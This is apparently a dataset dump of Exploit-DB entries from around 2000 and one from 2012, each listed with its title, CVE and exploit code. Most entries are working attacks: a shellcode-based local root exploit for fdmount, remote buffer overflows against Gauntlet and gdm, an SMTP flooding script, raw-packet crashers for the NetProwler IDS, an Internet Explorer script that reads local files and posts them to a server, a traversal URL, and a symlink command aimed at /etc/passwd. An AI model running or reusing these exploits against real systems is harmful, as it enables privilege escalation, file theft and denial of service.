QLWD/code_shield huggingface dataset:
标题: Oracle Outside-In JP2 - File Parsing Heap Overflow EDB-ID: 19962 CVE: 2012-1769 类型: DOS 平台: WINDOWS 发布日期: 2012-07-20 漏洞利用脚本: #####################################################################################

Application:   Oracle Outside-In JP2 File Parsing Heap Overflow
Version:   The vulnerabilities are reported in versions 8.3.5 and 8.3.7.
Exploitation:   Remote code execution

Secunia Number:   SA49936 

{PRL}:   2012-24

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============
Oracle Outside In Technology provides software developers with a comprehensive solution to access,
transform, and control the contents of over 500 unstructured file formats. From the latest office suites,
such as Microsoft Office 2007, to specialty formats and legacy files, Outside In Technology provides software
developers with the tools to transform unstructured files into controllable information.
#####################################################################################

============
2) Timeline
============

2012-05-03 - Vulnerability reported to secunia
2012-07-19 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================
An error in the JP2 stream filter (vsjp2.dll) when copying the Quantization Default (QCD)
marker segment can be exploited to cause a heap-based buffer overflow via a specially
crafted JPEG2000 (JP2) file.
#####################################################################################

=============
4) The Code
=============

http://www.protekresearchlab.com/exploits/PRL-2012-24.jp2
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19962.jp2 URL: https://www.exploit-db.com/exploits/19962
标题: S.u.S.E Linux 4.x/5.x/6.x/7.0 / Slackware 3.x/4.0 / Turbolinux 6 / OpenLinux 7.0 - 'fdmount' Local Buffer Overflow (1) EDB-ID: 19952 CVE: 2000-0438 类型: LOCAL 平台: LINUX 发布日期: 2000-05-22 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1239/info

A buffer overflow exists in the 0.8 version of the fdmount program, distributed with a number of popular versions of Linux. By supplying a large, well crafted buffer containing machine executable code in place of the mount point, it is possible for users in the 'floppy' group to execute arbitrary commands as root.

This vulnerability exists in versions of S.u.S.E., 4.0 and later, as well as Mandrake Linux 7.0. TurboLinux 6.0 and earlier ships with fdmount suid root, but users are not automatically added to the 'floppy' group. This list is by no means meant to be complete; other Linux distributions may be affected. To check if you're affected, check for the presence of the setuid bit on the binary. If it is present, and the binary is either world executable, or group 'floppy' executable, you are affected and should take action immediately. 

/*
 * fdmount 0.8 buffer-overflow exploit (fd-ex.c)
 * (C) 2000 Paulo Ribeiro <prrar@nitnet.com.br>
 *
 * Systems tested: Slackware Linux 7.0
 * 
 * Remember: you have to be a member of floppy group to exploit it!
 */ 

#include <stdlib.h>

#define DEFAULT_OFFSET                    0   
#define DEFAULT_BUFFER_SIZE             180
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);
  
  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n"); 
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr; 

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;
 
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i]; 
   
  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);                  
  putenv(buff);
  system("/usr/bin/fdmount fd0 $RET");     
}

/* fd-ex.c: EOF */ URL: https://www.exploit-db.com/exploits/19952
标题: Cobalt RaQ 2.0/3.0 / qpopper 2.52/2.53 - 'EUIDL' Format String Input EDB-ID: 19955 CVE: 2000-0442 类型: LOCAL 平台: LINUX 发布日期: 2000-05-24 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1242/info

A vulnerability exists in version 2.53 and prior of qpopper, a popular POP server, from Qualcomm. By placing machine executable code in the X-UIDL header field, supplying formatting strings in the "From:" field in a mail header, and then issuing, as the user the mail was sent to, a 'euidl' command, it is possible to execute arbitrary code. This code will execute as the user executing the euidl command, but with group 'mail' permissions on hosts running qpopper in that group. This is often done due to mail spool permissions.

This vulnerability does not exist in versions after 2.53. It also requires an account on the machine.

/*  qpop_euidl.c exploit by prizm/Buffer0verflow Security 
 *      
 *  Sample exploit for buffer overflow in Qpopper 2.53.
 *  This little proggie generates a mail u need to send.
 *
 *  Standard disclaimer applies.     
 *  By the way, exploit is broken =) You need to insert shellcode.
 *      
 *  MAD greets to tf8 for pointing out the bug, and all other b0f members.
 *  greets to USSRLabs and ADM
 *  check http://b0f.freebsd.lublin.pl/ for news.
 */     
#include <stdio.h>
#include <string.h>
        
char shellcode[]="imnothing";
int main(int argc, char *argv[])
{       
        int i;  
        unsigned long ra=0;
        if(argc!=2) {
                fprintf(stderr,"Usage: %s return_addr\n", argv[0]);
                exit(0);
        }
        sscanf(argv[1], "%x", &ra);
        if(!ra)
                return;
        if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
                fprintf(stderr,"Bad shellcode\n");
                exit(0);
        }
        fprintf(stderr,"return address: 0x%.8x\n", ra);
        printf("X-UIDL: ");
        for(i=0; i < sizeof(shellcode);i++)
                printf("%c", shellcode[i]);
        printf("\r\n");
        printf("From: %s", "%.1000d");    
        for(i=0; i < 50; i++)
                printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24);
        printf("@test\r\n");
        printf("Subject: test\r\n\r\nhuh?\r\n.\r\n"); 
        return 0;
} URL: https://www.exploit-db.com/exploits/19955
标题: Gauntlet Firewall 4.1/4.2/5.0 / Webshield E-ppliance 100.0/300.0 / IRIX 6.5.x - Remote Buffer Overflow EDB-ID: 19949 CVE: 2000-0437 类型: REMOTE 平台: IRIX 发布日期: 2000-05-18 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1234/info

A buffer overflow exists in the version of Mattel's Cyber Patrol software integrated in to Network Associates Gauntlet firewall, versions 4.1, 4.2, 5.0 and 5.5. Due to the manner in which Cyber Patrol was integrated, a vulnerability was introduced which could allow a remote attacker to gain root access on the firewall, or execute arbitrary commands on the firewall.

By default, Cyber Patrol is installed on Gauntlet installations, and runs for 30 days. After that period, it is disabled. During this 30 day period, the firewall is susceptible to attack,. Due to the filtering software being externally accessible, users not on the internal network may also be able to exploit the vulnerability.

Some versions of SGI IRIX shipped with the Gauntlet Firewall package, and in the past it was a supported SGI product. While it is no longer being supported, SGI IRIX versions 6.5.2, 6.5.3, 6.5.4 and 6.5.5 may be prone to this issue. 

/*
*                  Animal.c
*
*
* Remote Gauntlet BSDI proof of concept exploit.
* Garrison technologies may have found it, but I am the
* one who released it.  ;) I do not have a Sparc or I would
* write up the Solaris one too.  If you have one, please
* make the changes needed and post it.  Thanks.
*
* Script kiddies can go away, this will only execute a file
* named /bin/zz on the remote firewall.  To test this code,
* make a file named /bin/zz and chmod it to 700.
* I suggest for the test you just have the zz file make a note
* in syslog or whatever makes you happy.
*
* This code is intened for proof of concept only.
*
*
* _Gramble_
*                                             Hey BuBBles
*
*To use:
*      # Animal | nc <address> 8999
*/


#include <stdio.h>


char data[364];

main() {
        int i;
 char shelloutput[80];


/* just borrowed this execute code from another exploit */

 unsigned char shell[] =
        "\x90"
 "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c\x89\x76"
 "\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff\xff\xff\xff\x07"
 "\xff\xe8\xdc\xff\xff\xff/bin/zz\x00";


        for(i=0;i<264;i++)
                data[i]=0x90;
  data[i]=0x30;i++;
  data[i]=0x9b;i++;
  data[i]=0xbf;i++;
  data[i]=0xef;i++;
  data[i] = 0x00;
 for (i=0; i<strlen(shell); i++)
  shelloutput[i] = shell[i];
  shelloutput[i] = 0x00;

 printf("10003.http://%s%s", data, shelloutput);


} URL: https://www.exploit-db.com/exploits/19949
标题: gdm 1.0.x/2.0.x BETA/2.2.0 - XDMCP Buffer Overflow (1) EDB-ID: 19947 CVE: 2000-0491 类型: REMOTE 平台: LINUX 发布日期: 2000-05-22 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1233/info

A buffer overrun exists in the XDMCP handling code used in 'gdm', an xdm replacement, shipped as part of the GNOME desktop. By sending a maliciously crafted XDMCP message, it is possible for a remote attacker to execute arbitrary commands as root on the susceptible machine. The problem lies in the handling of the display information sent as part of an XDMCP 'FORWARD_QUERY' request.

By default, gdm is not configured to listen via XDMCP. The versions of gdm shipped with RedHat 6.0-6.2, Helix GNOME and gdm built from source are not vulnerable unless they were configured to accept XDMCP requests. This is configured via the /etc/X11/gdm/gdm.conf on some systems, although this file may vary. If the "Enable" variable is set to 0, you are not susceptible. 

/*    
 * breakgdm.c - Chris Evans
 */
   
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>

int
main(int argc, const char* argv[])
{
  char deathbuf[1000];
  unsigned short s;   
  unsigned char c;    
  
  memset(deathbuf, 'A', sizeof(deathbuf));
  
  /* Write the Xdmcp header */
  /* Version */
  s = htons(1);
  write(1, &s, 2);
  /* Opcode: FORWARD_QUERY */
  s = htons(4);
  write(1, &s, 2);
  /* Length */    
  s = htons(1 + 2 + 1000 + 2);
  write(1, &s, 2);
  
  /* Now we're into FORWARD_QUERY which consists of
   * remote display, remote port, auth info. Remote display is binary
   * IP address data....
   */
  /* Remote display: 1000 A's which incidentally smoke a path
   * right to the stack
   */
  s = htons(sizeof(deathbuf));
  write(1, &s, 2);
  write(1, deathbuf, sizeof(deathbuf));
  /* Display port.. empty data will do */
  s = htons(0);
  write(1, &s, 2);
  /* Auth list.. empty data will do */
  c = 0;
  write(1, &c, 1);
} URL: https://www.exploit-db.com/exploits/19947
标题: Lotus Domino Enterprise Server 5.0.1/5.0.2/5.0.3 / Mail Server 5.0.1/5.0.2/5.0.3 - Remote Buffer Overflow EDB-ID: 19944 CVE: 2000-1046 2000-0452 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-05-18 漏洞利用脚本: Lotus Domino Enterprise Server 5.0.1/5.0.2/5.0.3,Mail Server 5.0.1/5.0.2/5.0.3 Buffer Overflow

source: https://www.securityfocus.com/bid/1229/info

The code that handles the 'rcpt to' 'saml from' and 'soml from' commands in the ESMTP service of Lotus Domino Server has an unchecked buffer. If Lotus Domino Server receives an argument of more than 4 KB to the any of the listed commands, the system will crash and will require a reboot in order to regain normal functionality. 

#!/usr/bin/perl
# Need net::telnet to run
# Expl0it By smiler@vxd.org
# Tested with sucess against Lotus Notes 5.0.1, 5.0.2b, 5.0.3
# CMail Server version 2.4.6, Argosoft Mail Server version 1.2.1.0 
# and probably many others that I hadnt chance to explore.
# I wrote this after Michal Zalewski brought this issue in BugTraq.
# Cheers 351 and FractalG :)

use Net::Telnet;   


print "SmtpKILL By smiler\@vxd.org\n";

if (not $ARGV[1]) {
print qq~
Usage : smtpkill.pl  <type> <host>
 <type> Type of attack :
  type 1 = long mail from: someone\@4k_of_junk
  type 2 = long rcpt to: someone\@4k_of_junk
  type 3 = long helo longdomain_with_4k_of_junk
  type 4 = long undefined command (4k_of_junk)
  type 5 = long help 4k_of_junk
  type 6 = long mail from: and mail to:

 <host> Host that you want to DOS, Ip or Domain will be ok.
Example Usage : smtpkill.pl 5 127.0.0.1
~; exit;}      

$type=$ARGV[0];
$target=$ARGV[1];

print "TYPE ATTACK: $type\n";
print "TARGET : $target\n";



for ($i=4096;$i<5096;$i++)
 {
        $obj=Net::Telnet->new( Host => "$target",Port => 25);    

 if ($type=~ "1") { 
 $helo="helo ptrulez";
 $from="mail from: v0v0@". 'ptrulez' x $i;
 $rcpt="rcpt to: v0v0\@v0v0.pt";
 }

 if ($type=~ "2") { 
 $helo="helo ptrulez";
 $from="mail from: v0v0\@v0v0.pt";
 $rcpt="rcpt to: v0v0@". 'ptrulez' x $i;
 }

 if ($type=~ "3") {
 $helo="helo ". 'ptrulez' x $i;
 $from="mail from: v0v0\@v0v0.pt";
 $rcpt="rcpt to: v0v0\@v0v0.pt";
 }

 if ($type=~ "4") {
 $helo="havesomefun". 'ptrulez' x $i;
 }

 if ($type=~ "5") {
 $helo="help ". 'ptrulez' x $i;
 }

 if ($type=~ "6") {
 $helo="helo ptrulez";
 $from="mail from: ". 'ptrulez' x $i;
 $rcpt="rcpt to: ". 'ptrulez' x $i;
 }

        print "$helo\n";$obj->print("$helo");   
        print "$from\n";$obj->print("$from");
        print "$rcpt\n";$obj->print("$rcpt");    
        $obj->close;
 } URL: https://www.exploit-db.com/exploits/19944
标题: MetaProducts Offline Explorer 1.0 x/1.1 x/1.2 x - Directory Traversal EDB-ID: 19945 CVE: 2000-0436 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/1231/info

MetaProducts Offline Explorer is an application that allows a user to download the contents of a website or FTP site for offline browsing at a later time.

It is possible to view known files on a system Offline Explorer resides on. By default, Offline Explorer listens on port 800. A remote user may retrieve the contents of known files without any authorization whatsoever by performing a GET request and implementing the double dot "../..\" directory traversal technique.

Eg.

http://target:800/../..\ URL: https://www.exploit-db.com/exploits/19945
标题: Axent NetProwler 3.0 - IP Packets Denial of Service (2) EDB-ID: 19941 CVE: 2000-0394 类型: DOS 平台: WINDOWS 发布日期: 2000-05-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/1225/info
 
Axent NetProwler 3.0 IDS is vulnerable to a malformed packet attack. It will crash if the Man-in-the-Middle signature encounters a packet for which the following expression is true:
(IP_HEADER_LENGTH + TCP_HEADER_LENGTH) > IP_TOTAL_LENGTH
 
According to Axent Security team, this is not a fragmented packet issue as reported in RFP2K05 By Rain Forest Puppy.
 
In addition, NetProwler utilizes Microsoft JET engine 3.5 for storing incoming alert information. More information regarding the Microsoft JET engine 3.5 vulnerability can be found at:
 
https://www.securityfocus.com/bid/286 

#include "tcpip.casl"
#include "packets.casl"

Src = pop args;
Dst = pop args;


Src = getip(Src);
Dst = getip(Dst);


iph = copy TCPIP;
iph.ip_version = 4;
iph.ip_headerlen = 5;
iph.ip_tos = 0;
iph.ip_length = 36;
iph.ip_id  = 2233;
iph.ip_offset = 3;
iph.ip_ttl = 62;
iph.ip_protocol = 6;
iph.ip_cksum = 38648;
iph.ip_source = Src;
iph.ip_destination = Dst;

tch = copy SYN;
tch.tcp_source = 1026;
tch.tcp_destination = 2058;
tch.tcp_seqno = 2542901;
tch.tcp_ackno = 0;
tch.tcp_offset = 0;
tch.tcp_x2 = 1;
tch.tcp_syn = 1;
tch.tcp_window = 768;

pk1data = "\x 0\x 0\x 0\x 0\x 0\x 0";


packet = [ iph, tch, pk1data ];

ip_output(packet);

iph2 = copy TCPIP;
iph2.ip_version = 4;
iph2.ip_headerlen = 5;
iph2.ip_tos = 0;
iph2.ip_length = 44;
iph2.ip_id = 2239;
iph2.ip_mf = 1;
iph2.ip_ttl = 62;
iph2.ip_protocol = 6;
iph2.ip_cksum = 30445;
iph2.ip_source = Src;
iph2.ip_destination = Dst;

tch2 = copy SYN;
tch2.tcp_source = 1032;
tch2.tcp_destination = 21;
tch2.tcp_seqno = 2816737352;
tch2.tcp_ackno = 0;
tch2.tcp_x2 = 10;
tch2.tcp_syn = 1;
tch2.tcp_window = 32120;
tch2.tcp_cksum = 29341;

pk2data = "\x 2\x 4\x 5\xb4 \x 0\x 0";

packet = [ iph2, tch2, pk2data ];

ip_output(packet); URL: https://www.exploit-db.com/exploits/19941
标题: Microsoft Internet Explorer 4.0/5.0/5.5 preview/5.0.1 - DocumentComplete() Cross Frame Access EDB-ID: 19939 CVE: 2000-0465 类型: REMOTE 平台: WINDOWS 发布日期: 2000-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/1224/info

The DocumentComplete() function in IE does not properly validate origin domains.

Therefore it is possible for a remote webserver to gain read access to local files on the machine of any website visitor or email recipient by accessing the browser object of a frame containing local content. Only files that can be opened by a browser window (eg. *.htm, *.js, *.txt etc) are viewable, and the path and name of the file must be known by the attacker.

Update (May 16, 2001): A new variant of this vulnerability has been discovered. Microsoft has released a new patch to address all known variants of this vulnerability. 

<iframe id=clientContent width=0 height=0 noborder>
</iframe>
<script for=clientContent event="DocumentComplete(browser)">
alert (browser.document.body.innerText);

// browser is an instance of the IWebBrowser COM object

document.forms[0].elements[0].value = browser.document.body.innerText;
document.forms[0].submit ();

</script>

<script>
clientContent.navigate("c:\\known_file.txt")
</script>
<form action="/cgi/malicious-script.cgi" method=post onSubmit="window.alert(document.forms[0].elements[0].value); return
true">
<input name="file_text" type=hidden>
</form> URL: https://www.exploit-db.com/exploits/19939
标题: Intel Corporation Express 8100 ISDN Router - Fragmented ICMP EDB-ID: 19943 CVE: 2000-0451 类型: REMOTE 平台: HARDWARE 发布日期: 1990-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/1228/info

The Intel Express 8100 and possibly 8200 ISDN routers can be remotely crashed by sending fragmented or oversized ICMP packets. 

Using libnet and isic-0.05:
icmpsic -s 127.0.0.1,23 -d <target.router.ip.address> -F 100 URL: https://www.exploit-db.com/exploits/19943
标题: OpenLDAP 1.2.7/1.2.8/1.2.9/1.2.10 - '/usr/tmp/' Symlink EDB-ID: 19946 CVE: 2000-0336 类型: LOCAL 平台: LINUX 发布日期: 2000-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/1232/info

A vulnerability exists in OpenLDAP as shipped with some versions of Linux, including RedHat 6.1 and 6.2, and TurboLinux 6.0.2 and earlier. OpenLDAP will create files in /usr/tmp, which is actually a symbolic link to the world writable /tmp directory. As OpenLDAP does not check for a files existence prior to opening the files in /usr/tmp, it is possible for an attacker to point an appropriately named symbolic link at any file on the filesystem, and cause it to be destroyed.

This vulnerability will also affect any Unix system with OpenLDAP assuming the following criteria is true:
1) slapd.conf configures the "directory" variable to be /usr/tmp
2) /usr/tmp is a world writable directory.
3) slurpd was built with the DEFAULT_SLURPD_REPLICA_DIR set to /usr/tmp 

ln -sf /etc/passwd /usr/tmp/NEXTID URL: https://www.exploit-db.com/exploits/19946
标题: BeOS 5.0 - TCP Fragmentation Remote Denial of Service EDB-ID: 19938 CVE: 2000-0463 类型: DOS 平台: BEOS 发布日期: 2000-05-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/1222/info

BeOS is vulnerable to a remote TCP fragmentation attack that will crash the target system, requiring a reboot. 

[root@localhost isic-0.05]# ./tcpsic -s 1.1.1.1 -d 10.0.1.46 -r 31337 -F100 -V0
-I0 -T0 -u0 -t0
Compiled against Libnet 1.0.1b
Installing Signal Handlers.
Seeding with 31337
No Maximum traffic limiter
Using random source ports.
Using random destination ports.
Bad IP Version = 0% IP Opts Pcnt = 0%
Frag'd Pcnt = 100% Urg Pcnt = 0%
Bad TCP Cksm = 0% TCP Opts Pcnt = 0%

1000 @ 1802.8 pkts/sec and 1174.6 k/s
2000 @ 1636.8 pkts/sec and 1105.5 k/s
3000 @ 2110.2 pkts/sec and 1396.4 k/s
4000 @ 1689.1 pkts/sec and 1105.4 k/s
Caught signal 2
Used random seed 31337
Wrote 5002 packets in 2.74s @ 1824.48 pkts/s URL: https://www.exploit-db.com/exploits/19938
标题: Axent NetProwler 3.0 - IP Packets Denial of Service (1) EDB-ID: 19940 CVE: 2000-0394 类型: DOS 平台: WINDOWS 发布日期: 2000-05-18 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1225/info

Axent NetProwler 3.0 IDS is vulnerable to a malformed packet attack. It will crash if the Man-in-the-Middle signature encounters a packet for which the following expression is true:
(IP_HEADER_LENGTH + TCP_HEADER_LENGTH) > IP_TOTAL_LENGTH

According to Axent Security team, this is not a fragmented packet issue as reported in RFP2K05 By Rain Forest Puppy.

In addition, NetProwler utilizes Microsoft JET engine 3.5 for storing incoming alert information. More information regarding the Microsoft JET engine 3.5 vulnerability can be found at:

https://www.securityfocus.com/bid/286 

/*  RFProwl.c - rain forest puppy / wiretrip / rfp@wiretrip.net
 
 Kills NetProwler IDS version 3.0
 
 You need libnet installed.  It's available from
 www.packetfactory.net.  Acks to route.

 Only tested on RH 6.x Linux.  To compile:
 gcc RFProwl.c -lnet -o RFProwl   

 Plus, make sure your architecture is defined below:   */

#define LIBNET_LIL_ENDIAN 1
#undef  LIBNET_BIG_ENDIAN 1

#include <libnet.h>

/* it's just much easier to code in the packet frags we want. :) */

char pack1[]="\x45\x00"
"\x00\x24\x08\xb9\x00\x03\x3e\x06\x96\xf8\x0a\x09\x65\x0d\x0a\x09"
"\x64\x01\x04\x02\x08\x0a\x00\x26\xcd\x35\x00\x00\x00\x00\x01\x02"
"\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

char pack2[]="\x45\x00"
"\x00\x2c\x08\xbf\x20\x00\x3e\x06\x76\xed\x0a\x09\x65\x0d\x0a\x09"
"\x64\x01\x04\x08\x00\x15\xa7\xe4\x00\x48\x00\x00\x00\x00\xa0\x02"
"\x7d\x78\x72\x9d\x00\x00\x02\x04\x05\xb4\x00\x00";

int main(int argc, char **argv) {
    int sock, c;
    u_long src_ip, dst_ip;

    printf("RFProwl - rain forest puppy / wiretrip\n");

    if(argc<3){
      printf("Usage: RFProwl <profiled IP/destination> <src IP(fake)>\n");
      exit(EXIT_FAILURE);}

    dst_ip=inet_addr(argv[1]);
    src_ip=inet_addr(argv[2]);

    memcpy(pack1+16,&dst_ip,4);
    memcpy(pack2+16,&dst_ip,4);
    memcpy(pack1+12,&src_ip,4);
    memcpy(pack1+12,&src_ip,4);

    sock = open_raw_sock(IPPROTO_RAW);
    if (sock == -1){
      perror("Socket problems: ");
      exit(EXIT_FAILURE);}
    
    c = write_ip(sock, pack1, 46);
    if (c < 46) printf("Write_ip #1 choked\n");

    c = write_ip(sock, pack2, 46);
    if (c < 46) printf("Write_ip #2 choked\n");
  
    printf("Packets sent\n");

    return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);} URL: https://www.exploit-db.com/exploits/19940
标题: Cayman 3220-H DSL Router 1.0/GatorSurf 5.3 - Denial of Service EDB-ID: 19923 CVE: 2000-0417 类型: DOS 平台: HARDWARE 发布日期: 2000-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/1219/info

Large usernames or passwords sent to the router's HTTP interface restart the router. Router log will show "restart not in response to admin command"

Open the router interface with your browser.
Username: ......................... (x79 +)
After the router restarts, you can hit refresh on your browser to take it down again. 

A simple script or program could be written to keep the router down indefinately. URL: https://www.exploit-db.com/exploits/19923